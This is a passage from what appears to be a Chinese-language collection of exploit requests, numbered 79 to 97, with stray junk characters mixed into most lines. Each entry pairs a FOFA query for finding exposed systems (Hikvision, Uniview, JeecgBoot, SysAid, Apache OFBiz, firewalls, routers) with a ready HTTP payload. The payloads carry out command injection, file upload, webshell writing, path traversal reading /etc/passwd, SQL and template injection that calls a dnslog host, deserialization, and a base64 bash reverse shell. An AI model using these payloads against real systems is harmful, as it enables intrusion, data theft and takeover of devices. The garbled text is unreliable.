  l, O0 C$ \' {$ Y( w  N8 S2 g' o: \3 AContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l' k5 H$ c2 l' p2 g' f  n% G1 t
- Y6 j1 S( s7 x1 J: O, I
------YsOxWxSvj1KyZow1PTsh98fdu6l
8 c- Q/ W4 _4 F/ F. [; _Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
, E9 x4 d6 q: C, o$ x- AContent-Type: image/png
$ H& ~0 o5 p. O' ^: X- P( X2 Q2 g$ x0 f" h% V
YsOxWxSvj1KyZow1PTsh98fdu6l
9 K. U; j/ Y$ H7 x------YsOxWxSvj1KyZow1PTsh98fdu6l
3 z. q3 r  ^4 K9 d& E1 |1 g' NContent-Disposition: form-data; name="target"
- U( B; H8 `/ A7 k8 L& {- u& Z5 R" @4 R. p2 \# P3 z
/Applications/SkillDevelopAndEHS/
+ Q( i! L, {, C$ q0 ]------YsOxWxSvj1KyZow1PTsh98fdu6l--) {$ Z" w! O& O; k

; \! e! J: g. H" R  B% U/ C
) ~4 D, `* j  _% _, f: f1 pGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
) ^/ \0 \5 d. ?Host: x.x.x.x: O% v7 w0 L( G% X
: o* _. A+ l3 A& Z
) o% z. `& j6 l- i! I* s
79. BYTEVALUE 百为流控路由器远程命令执行5 s* v0 x  w0 r2 Y9 ]3 d2 }) x4 Q
FOFA:BYTEVALUE 智能流控路由器
, I) [- @+ ^: M4 n) }GET /goform/webRead/open/?path=|id HTTP/1.1! o* M1 ^! H6 D5 N
Host:IP" G7 Y; U: @! n6 w! g, X: P9 w
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0, ^( a- B+ e5 S. S
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  \; i/ j4 J; [7 rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2( x  y  v% G' X6 G, U( y- b" r
Accept-Encoding: gzip, deflate7 U! o7 b! ]5 `% F$ n+ |
Connection: close
4 W$ `! R4 v+ ?) V) ?$ oUpgrade-Insecure-Requests: 1
" H: A! V, p. l
! n' h# F" ?6 L: V# |# K9 C0 ~6 j' B
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
+ s" t4 D# r6 N0 f+ VFOFA:app="速达软件-公司产品", Y9 ]/ H& N3 @$ _
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
+ j1 v5 ?1 ]# M1 ]Host: x.x.x.x- _  v% _6 _. Y0 H+ G
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# {; ?% o$ F4 p5 c. r) @Content-Length: 27' S. V0 A4 [5 w0 L
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8, |" k& U( |- E6 p% ~3 p! D" T
Accept-Encoding: gzip, deflate
1 s6 G8 S9 n+ H( X, N( VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2* N5 |3 v+ q( S2 k
Connection: close# F0 v' n+ H9 Y) ]9 ~8 B+ [* J- `
Content-Type: application/octet-stream% A" N2 _- X6 d
Upgrade-Insecure-Requests: 1& y5 G& K7 d# }1 E" m9 i% h, T0 A

$ p. o( c0 I" Z% C3 k4 z<% out.print("oessqeonylzaf");%>
4 r* n- s3 W- s
, k& \" ~1 O( B5 |
5 ~# t% k) ~( AGET /xykqmfxpoas.jsp HTTP/1.1; ?9 u$ e# _4 O% \
Host: x.x.x.x
# Y2 n: x3 n* o) A  U0 R7 Z8 j' c' j- y6 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 Y. O4 m  [8 Z6 {) CConnection: close8 Y0 L  j# O( B" T% }$ v& x# ]
Accept-Encoding: gzip- \$ m* A$ i+ V7 R( m: ^: g

. _, X8 V1 ?! d8 m4 h* G
9 r# E2 ]- D' N4 W; l81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
3 K1 H' N$ J, @8 x" S2 q6 [FOFA:app="uniview-视频监控"
- Q9 O: @/ ?( w- c2 j9 b+ cGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1/ h( U1 ~( o9 b$ ]2 n  j% F5 A
Host: x.x.x.x6 G9 w0 I6 y4 W; O7 ~6 ^" g! `
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.157 A0 i( C0 \! k/ V# |3 O. v
Connection: close
8 F  L$ l7 e1 _/ X% Y6 LAccept-Encoding: gzip" \  L+ z) W$ O! K3 j1 M

3 z- i& k/ l+ I) }4 I# U
' Z+ L8 J( |3 j% e* G' _82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
4 F& i2 ^3 P9 G7 f/ ?; n. T: |FOFA:app="思福迪-LOGBASE"
8 J( u9 e) }5 i( `POST /bhost/test_qrcode_b HTTP/1.1+ Z. o; P3 H3 r
Host: BaseURL+ O6 i! x( r* `$ T) K3 z. }
User-Agent: Go-http-client/1.1
+ ~2 w* ~- ]& }4 \: k5 t3 `Content-Length: 23
7 p# ~" a  k9 nAccept-Encoding: gzip( Y- @1 H; n7 X, }
Connection: close
& |% M! z$ [; h/ X$ ^( lContent-Type: application/x-www-form-urlencoded) ?5 j) c& v0 E0 ^7 |
Referer: BaseURL
  I7 k4 n' }' t( V( O; o9 C+ `; h/ M
z1=1&z2="|id;"&z3=bhost
* ?. c  A6 n7 p1 E6 E& t. b- G6 q& v# C3 `
3 @" r. m9 X6 R- m2 `5 w. Q0 u
83. JeecgBoot testConnection 远程命令执行* ?' @3 |+ n; a3 f' r3 t
FOFA:title=="JeecgBoot 企业级低代码平台"
% ~* ^# S9 S* M6 ?$ q; b/ F+ A/ W/ F
& W# g  E$ Y; A4 x9 V
) J5 F) \/ u3 l# _5 F  iPOST /jmreport/testConnection HTTP/1.19 \1 l2 w& J- H9 d# T  i0 N9 D
Host: x.x.x.x' G* M* i. b' z0 u/ B; x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# e6 G2 ]3 J( ]6 D( g' w0 gConnection: close0 S$ E7 X' x: o. }, A) O
Content-Length: 8881
6 p5 K% Q5 Z1 }4 uAccept-Encoding: gzip
3 }1 Q1 K" L5 _: eCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"! n2 g: ?' o6 n, z3 m; J
Content-Type: application/json
# h/ i5 _) E5 S$ n( h
5 o" R' B1 ]6 n; o8 y- B' f+ ePAYLOAD
; ~) N6 E9 f- q9 K6 D' R. k: d- N7 Y  M5 ^) ~' e
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
  r- w7 t6 Y" k- bFOFA:title=="JeecgBoot 企业级低代码平台"8 Y  K+ Z  m, M7 G6 m7 ~& I
2 k4 K# x5 G& [' K

( X0 G  z9 N+ P+ g
" j: R5 \3 _  y9 i" EPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
* g; B6 Z: a6 GHost: 192.168.40.130:8080
% x) C5 T4 A3 a8 b) r* \/ bUser-Agent: curl/7.88.1
. ]. B# T) J  J* l- _Content-Length: 1568 I7 c) R, [1 Z! A
Accept: */*
9 U9 t  I" d  S% nConnection: close8 N0 j+ y, _6 j2 {+ l
Content-Type: application/json2 E/ p. _) `; B
Accept-Encoding: gzip  X6 H( D+ g+ m/ j* N! {
+ g5 |1 p! e* K6 l1 W9 [
{: \* `4 R2 }9 A
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",, a) B4 a# K" o( B( k9 s5 n+ J
  "type": "0"$ c1 u7 {3 O% A' {' w% J; m6 e
}8 e' o; k' d0 V* [
. Y. y5 x* k5 p; J# i

5 j+ Q' ~& B9 S1 |, k3 F( e85. SysAid On-premise< 23.3.36远程代码执行) |, k2 {- \, i2 l
CVE-2023-47246" N3 c* H& \  C- U2 [0 R: L; E
FOFA:body="sysaid-logo-dark-green.png" / g& R9 I- G8 ~2 I. P
EXP数据包如下,注入哥斯拉马( ~( T; O4 f, |$ ?) a
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
! w& T& c' d* V7 h' d$ ~  cHost: x.x.x.x
. B7 u1 U0 w. p2 A! f" IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! @* Z, ]5 J9 z' k& G0 rContent-Type: application/octet-stream. h' C2 O2 N, t: X) m+ ^
Accept-Encoding: gzip1 f5 x, E0 z$ q- ~
2 ^4 ~- |, J; ^8 I) g9 B
PAYLOAD
& j% m2 @/ w/ ~) Y
7 u' J3 V) m; e# d! o  k回显URL:http://x.x.x.x/userfiles/index.jsp5 x: j* c1 K! |, C# m2 y# }9 A" }1 s
: u. A. `0 I$ B' T0 }
86. 日本tosei自助洗衣机RCE
; s8 i1 i$ g! }# ]FOFA:body="tosei_login_check.php". g$ T" N! C+ _" ?! s
POST /cgi-bin/network_test.php HTTP/1.1! v; w  E: ~. _% r
Host: x.x.x.x
0 y4 y% j# R3 RUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
$ }1 }* T5 S$ g% Z1 \: y% |Connection: close
9 g7 B$ H# y+ d- ^/ TContent-Length: 44. n" d% w7 h" ~9 b# o5 A
Accept: */*
! c, O( p& b: O. }7 n7 i# |Accept-Encoding: gzip
2 Y# O5 v- g+ Z9 X+ K/ I& wAccept-Language: en1 k. p- N) K' M: E* c
Content-Type: application/x-www-form-urlencoded
- E, n: T- F5 e9 i" j- _( j! N- u4 P2 t5 [- Q
host=%0acat${IFS}/etc/passwd%0a&command=ping5 G& ?7 b5 Z7 Z& l+ Z

5 i: }( ?; I! M& f) Y  c( \0 I* S0 B" k4 Y% B1 _) z2 v
87. 安恒明御安全网关aaa_local_web_preview文件上传
. W: G# `" z! b# V6 p+ s" k+ ^5 d8 H& JFOFA:title="明御安全网关"8 j! `4 ?: N* Y6 h7 [
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.13 _% L9 a8 Y, f7 y9 x
Host: X.X.X.X
7 j7 d* T7 O& k7 ^& FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15, W& Q0 T% h$ I3 f
Connection: close
2 n2 Z; |' l) FContent-Length: 198
  j. U; O3 S9 {& t8 X. lAccept-Encoding: gzip& w6 A: j$ {: v3 M2 f
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd% c% t+ }6 z' _# j4 z
2 }" I) q+ e& l; p+ v4 ?0 ?
--qqobiandqgawlxodfiisporjwravxtvd1 \- m0 s3 s& c! I" K, B- e
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
/ w& o$ ~- j, R! V3 X. LContent-Type: text/plain
) w) |) ?5 v& r; u( m0 o' P  X% h4 ]# I- a- s+ _5 d
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
9 @3 Y$ i: f9 {--qqobiandqgawlxodfiisporjwravxtvd--
' H2 B4 ?5 t7 [$ E3 f
9 r7 b4 P( A% L  A) _
8 Q+ X8 f, x0 P+ e/jfhatuwe.php* k1 r- C5 W/ x' b1 G2 u

/ O  y5 S5 v+ t8 q88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行9 ^4 S1 u, M; |& p) i% w2 I
FOFA:title="明御安全网关"* c8 T) I1 E  p( p. a, l( J9 ~6 R
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1! g5 r* I. T. C8 C. p
Host: x.x.x.xx.x.x.x! p; S8 h9 }1 F, c0 H( `
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.153 p6 U9 w/ o. I5 ]. j% k
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 X9 C1 B: t7 I) ~; o' t& hAccept-Encoding: gzip, deflate/ A# S6 X! i/ f2 r* k
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.26 |) `- ?5 E8 s6 J
Connection: close
3 c( @4 S. i/ V5 U6 j
3 I6 ]  t7 h% ~: [  ^# W3 H7 \) S9 i* D' L- R( \* D+ V, t# K- P$ g
/astdfkhl.php
" y5 J! ?( E4 l" u
8 V0 \/ f7 L8 G3 S89. 致远互联FE协作办公平台editflow_manager存在sql注入9 d  }0 D3 t; ?2 r6 F9 n
FOFA:title="FE协作办公平台" || body="li_plugins_download"2 v' E- t' L% q
POST /sysform/003/editflow_manager.js%70 HTTP/1.1+ R7 Y/ R+ s7 U7 p$ t
Host: x.x.x.x
) j3 E7 a& z  d0 c. a7 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" \" t8 @$ S- M, u9 {7 fConnection: close
8 l8 e/ p2 m3 w9 y% X/ |  FContent-Length: 41
( o. d% y, T! r+ m! sContent-Type: application/x-www-form-urlencoded
0 C# e( h/ ~* c2 f  Y% sAccept-Encoding: gzip
, t5 C" y4 ]9 p* O0 c0 f8 G2 q: V* r1 \
option=2&GUID=-1'+union+select+111*222--+/ j! X$ \( Z5 }3 U+ k

  ^' ]# P+ I( P' z7 V" J
* ^& Y' W" I" Z2 ~* I$ O90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
$ y- _4 F& Q8 M1 m1 K- cFOFA:icon_hash="-1830859634") y3 r9 w) _7 L
POST /php/ping.php HTTP/1.14 e8 N; G; f# ]/ Z" A
Host: x.x.x.x
9 Z3 d# ?2 X4 f/ z* P; Y* \" NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
5 g) S: s: J! ], ]; BContent-Length: 51  \- |2 i( q# i* W) }  _* j
Accept: application/json, text/javascript, */*; q=0.01$ u+ J5 f7 n9 o+ O6 q0 ]1 Q
Accept-Encoding: gzip, deflate
4 m2 d+ L# ^4 j  V8 N1 o$ SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 w- F4 ]  L' V% [Connection: close
  l/ ~" F4 v0 B5 HContent-Type: application/x-www-form-urlencoded. {- A. C0 J! H. I
X-Requested-With: XMLHttpRequest1 K" ]% @; D- b* X3 P% J
. ?4 |! w* I8 Q% m9 {
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig' N2 o! v- p; }: r  W

: |3 g& x6 K( S) q4 e+ j8 {4 v- a" I$ E1 Q5 |7 S, ~
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取6 s' P/ y, H& G) }% l# C
FOFA:title="综合安防管理平台"4 P9 ~! J! o+ r
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
  t- V% ~9 }. u, T3 q5 v) `2 H9 _Host: your-ip0 _9 j0 ~4 I: A$ O, L" y- y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
- D4 f$ R1 ?7 i9 ?' G* g: X6 z, XAccept-Encoding: gzip, deflate: T8 r! I. w& C; @' p
Accept: */*
* {8 L" s7 U% \Connection: keep-alive
* |! j, C& `% w+ b! a6 D
0 q  J8 g' c4 j0 q  c
% Q" n4 U/ G# g. _  ]$ E" M7 d2 c- m, s. M8 v& _
92. 海康威视运行管理中心session命令执行
, X0 i% h9 o0 g' P9 rFastjson命令执行8 O$ H% y$ |* P7 A! U1 w3 C( M
hunter:web.icon=="e05b47d5ce11d2f4182a964255870b76"
! C& T$ R- F6 k3 a7 qPOST /center/api/session HTTP/1.1
8 S5 t  ]8 o: q6 z* F0 R8 jHost:
  Q& J4 O9 P  I, _! l8 c# z8 BAccept: application/json, text/plain, */*) S, Q8 G! j+ z( _9 v& S! e( Q
Accept-Encoding: gzip, deflate9 S+ S3 D+ ~' }; |6 D
X-Requested-With: XMLHttpRequest* o* C  x! c# D6 r6 F/ T; {
Content-Type: application/json;charset=UTF-8
7 R2 d) G+ E  m3 ?X-Language-Type: zh_CN/ w+ R8 M1 T% v  L" ~4 r4 i# G
Testcmd: echo test
' m/ ?* X. h+ U/ D% A; o. LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36! {" p9 r& Z+ }0 F" k) _3 x
Accept-Language: zh-CN,zh;q=0.9
, Q, W$ f' p( P; F4 ]2 xContent-Length: 57781 }' Z$ [' f5 m) e4 n) ^) C8 x4 A

" U: c6 }; g8 v) HPAYLOAD
0 }  @2 _* {4 b& t% Y; M# O! L1 r# Q& P* b- I/ S+ l0 J% P; e9 B
8 z% c7 q: Y3 e6 u( o
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
7 ?7 a3 X" k9 v0 v" ?/ ]FOFA:fid="1Lh1LHi6yfkhiO83I59AYg=="6 C/ n$ F" _9 p: q5 Q( x
POST /?g=app_av_import_save HTTP/1.1! H6 k, u) H8 s4 Y% h6 M* @2 `) Z. z
Host: x.x.x.x" u+ M& Y4 m$ y. V! q1 c1 u
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
2 w, {9 j: g( r) G9 l* _. w' mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36# i* c" O: u3 r8 h+ F

$ U" |8 H+ x7 \( v: t------WebKitFormBoundarykcbkgdfx
. r; j  @' {* n" c3 I0 O# sContent-Disposition: form-data; name="MAX_FILE_SIZE"
3 z: K! c4 `5 X2 q$ Q6 L
  R- r7 L: @8 K10000000
1 F  B( P0 O. ^------WebKitFormBoundarykcbkgdfx
; v. X' R$ T4 nContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"# h. V; q1 S1 H+ G4 c& t3 o
Content-Type: text/plain
' W: d9 @9 W5 t/ Z# d8 j* j) |! V+ c/ ~7 b: S* B, a- p
wagletqrkwrddkthtulxsqrphulnknxa+ ^+ M0 @% o" \1 X9 r1 r; t
------WebKitFormBoundarykcbkgdfx) K1 x4 Y* {; i* N
Content-Disposition: form-data; name="submit_post"
* e% V* X5 E  v8 w5 N( k
! C( J, L+ T6 |' Hobj_app_upfile3 Q+ \& w0 V9 f6 m% G: \/ F4 B
------WebKitFormBoundarykcbkgdfx# y* b- y+ h# k% M. Q  U4 `1 x9 o
Content-Disposition: form-data; name="__hash__"
% I3 ~( k# @$ {" Q3 p- J
( O" G7 s/ b$ a1 s4 h9 t& J0b9d6b1ab7479ab69d9f71b05e0e9445
) g$ H+ W3 G% z9 }2 V) P- V------WebKitFormBoundarykcbkgdfx--
) W/ f, C! L# J) {  j  S
4 y* m  S' v$ K' i6 y* f# l/ C5 t% H
GET /attachements/xlskxknxa.txt HTTP/1.13 {: L1 V6 ?6 y9 h' T% D$ v
Host: xx.xx.xx.xx
7 M) X+ I0 \- E( O" nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ @% d; @$ `( P$ y7 g+ s" C& J0 a" H; {

' h# ]4 X& N2 M8 ]) A94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传# H: a2 s5 d! H! q9 k* R' O3 P* X2 o
FOFA:fid="1Lh1LHi6yfkhiO83I59AYg=="
8 m+ d, w0 f9 u% S! E9 W, ]" _/ zPOST /?g=obj_area_import_save HTTP/1.1
5 ~" w" C0 H) MHost: x.x.x.x
, m# {  r" I$ N3 Q. _8 p$ }' l: m. GContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt% ?9 [' h2 s% E5 i, A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36* V& C5 h0 y" e$ A0 w

$ `# N- y1 @$ E. ^+ S2 e( p------WebKitFormBoundarybqvzqvmt! e0 n" ~7 U8 F, w7 T& t
Content-Disposition: form-data; name="MAX_FILE_SIZE", h- I, q6 D5 m9 z% P' w

5 r+ A$ e' g1 }. y0 h- n7 ~) P% D10000000
/ M  Y5 N# z* N/ r' {! _4 Z, }. Q------WebKitFormBoundarybqvzqvmt
8 v8 r0 U8 W  I  K0 H1 I0 @Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"7 V' ~. ?( h+ g" {" K- c7 d
Content-Type: text/plain
" n7 {% A! l$ }
6 Y" F. Z9 V5 |- ]4 _pxplitttsrjnyoafavcajwkvhxindhmu
9 W) ^9 i* L+ s7 v' Y5 D' _------WebKitFormBoundarybqvzqvmt5 k; o8 t+ w# i4 q5 T  D
Content-Disposition: form-data; name="submit_post". f2 k* T1 @8 _! w; s5 S
/ e9 d' G$ U5 c7 o
obj_app_upfile
: j( a: A' V* `  v------WebKitFormBoundarybqvzqvmt, e* |5 S6 _) Z
Content-Disposition: form-data; name="__hash__"
% J3 p# D. O0 ]' K
) y' s& T' k* X( s& f/ Q+ U0b9d6b1ab7479ab69d9f71b05e0e9445
& o1 a$ j7 d: A% i' ~------WebKitFormBoundarybqvzqvmt--
0 z! Q/ P3 c! k- j$ \7 W5 ^0 O8 q6 p( h

2 I' ]" `! P# i  A8 Q/ [3 V( Z
" l) b! o0 E3 iGET /attachements/xlskxknxa.txt HTTP/1.1
, p0 e8 s: f' Y! s# ?Host: xx.xx.xx.xx
! `; w$ M* n* D! M$ pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; {/ ]) i/ z! b
$ _. E5 k# ?5 X& a  B& B
& t# A/ G# _8 u
9 z2 z. Z7 c- p95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行+ R/ A# }5 c, g1 p) S
CVE-2023-49070: A. [9 j7 f, f! |& q1 r& [
FOFA:app="Apache_OFBiz"0 \4 R% ^" ^0 e; c2 t; v! a
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
. K$ I/ s6 M9 n, k* s3 _8 v, u2 LHost: x.x.x.x' n. H$ g: o' H
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36) Z3 L% m1 ?; W, T; o8 t9 V
Connection: close
4 c: B! `% m5 |# A3 ]3 E! rContent-Length: 889( {# y3 ?3 @8 i: S/ u( K9 Z5 Q% Q
Content-Type: application/xml
& m' I: q' K. f# w6 O% a0 n' Q4 EAccept-Encoding: gzip
  _& c6 N& f( N3 v
6 [* k* J) @. ~3 B# \<?xml version="1.0"?>
6 C; Q4 Y6 ]' D  b<methodCall>% k8 n. ]5 c8 E* L6 g
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>7 L* y( a/ s: g/ t; G9 A
    <params>
! Y* P, q3 r5 s" m! x) m      <param>: `# x* e' F/ J
      <value>, y# @! l" d& m5 {
        <struct>6 }" `% _* P6 f* K
       <member>
9 L& m7 w; q1 X2 Y; m+ n& h          <name>test</name>
' H* }; B' E- |3 H) O% M& ]          <value>
. z7 I' ~* n; V+ @; {* h      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
5 w- h, d0 G, h  i1 n          </value>
; o4 H+ x+ \0 K        </member>: |: Y' B' u& D* q$ O
      </struct>
# p; s6 `, ^+ S) s) c* N7 l& T      </value>
; K6 x: f) S- O6 `3 l    </param>+ x; {% |- l1 t1 r+ G0 ]8 \& @. y
    </params>
* R4 |$ H8 `1 W; K+ w* l- l</methodCall>: J$ E' Z/ h& g7 x& G

1 Z, _% F  i. r5 k; B3 e
3 D8 g! q. Y9 q- H  @  }7 S用ysoserial生成payload0 @. M; ~& q4 O% f) x
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
/ U* }. a# }( E$ k# M& m7 b. s9 p9 U, s. ?

6 ^6 V4 W6 b2 S2 v( d& k2 P8 e将生成的payload替换到上面的POC
6 g( C5 T6 ]+ w/ j7 l) T. ?  v% IPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.11 O/ o8 f8 ?% R
Host: 192.168.40.130:8443
: k" B4 j, D0 I2 P/ P) F- `# RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 r7 p% ]% _" k, E8 z7 U: T; w; ?Connection: close: U! q3 O' a% U2 v% o' \) U
Content-Length: 8892 B# s; ?+ v1 Z( s; |1 J
Content-Type: application/xml% s2 a; u6 d# n, X7 Y. p
Accept-Encoding: gzip* k; E- B4 b7 [+ G: h5 `  T4 p9 t* c
( P/ x7 u+ d/ G5 x2 E: F& R. j% s
PAYLOAD- n8 Q9 b7 t/ ^. k7 ~+ g" w. z

. w$ Q/ P6 }& J# n96. Apache OFBiz  18.12.11 groovy 远程代码执行
% d  W" d" h9 s: yFOFA:app="Apache_OFBiz"
) L( |7 H" }  n! D1 w( _0 N0 tPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 [7 N" H/ c5 g* JHost: localhost:8443) }6 x. P9 i7 d0 ~( w
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0) p; F# r* s% Y) a9 }
Accept: */*4 m1 m0 q$ a) C" o' D4 e* O1 e
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  {" G- E% t+ }/ h- J4 l* SContent-Type: application/x-www-form-urlencoded
; G  G0 r; g& T; \0 E  YContent-Length: 55
! x" }5 j- V5 ^) s9 H* F% y4 l6 c  U$ X7 i
groovyProgram=throw+new+Exception('id'.execute().text);! o1 x8 a* f: r! b6 n& B
0 g9 Q, O3 q2 t% K, O, M2 i4 F/ \
4 v6 `0 j  _" a! g/ P$ ^
反弹shell
, d. D4 Q8 B+ L4 }2 |& N在kali上启动一个监听' n* c3 I  n, O& y) z+ u- v# c; m6 ~
nc -lvp 7777
  ]- @; C0 \+ P1 \3 Y
$ q  c/ f4 E; [# \$ L* P' N  dPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1/ b2 i6 ?6 `1 ~. O4 m5 V
Host: 192.168.40.130:8443+ d  Y4 U; U3 S
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. b7 x* v. H2 Q; vAccept: */*
$ e- [9 g+ X( nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2- H# ^: G- v+ h. Q( l, ~
Content-Type: application/x-www-form-urlencoded
$ C, U7 Y5 e; h! u- H& XContent-Length: 715 e: w; Z: p4 f4 l

7 M# \6 @$ F! [groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();4 \! h" ]+ w1 H# T0 @  ?

1 W* g( c: Z2 h3 t7 D97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
. Z# |! l  M. B4 [FOFA:body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
) W7 g# S, }: WGET /passport/login/ HTTP/1.1
( C3 \( K8 A# |: T2 \Host: 192.168.40.130:8085
, a' U' _; W4 u" ?+ d& C7 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.153 ?% ^1 z& R9 Z& @
Accept-Encoding: gzip
- D( E. Y: ?! C- _+ GConnection: close" s7 o; B3 |- k  b! R5 R' p, H+ O
Cookie: rememberMe=PAYLOAD: H( C7 `5 z& @, a3 r. I0 Y0 o
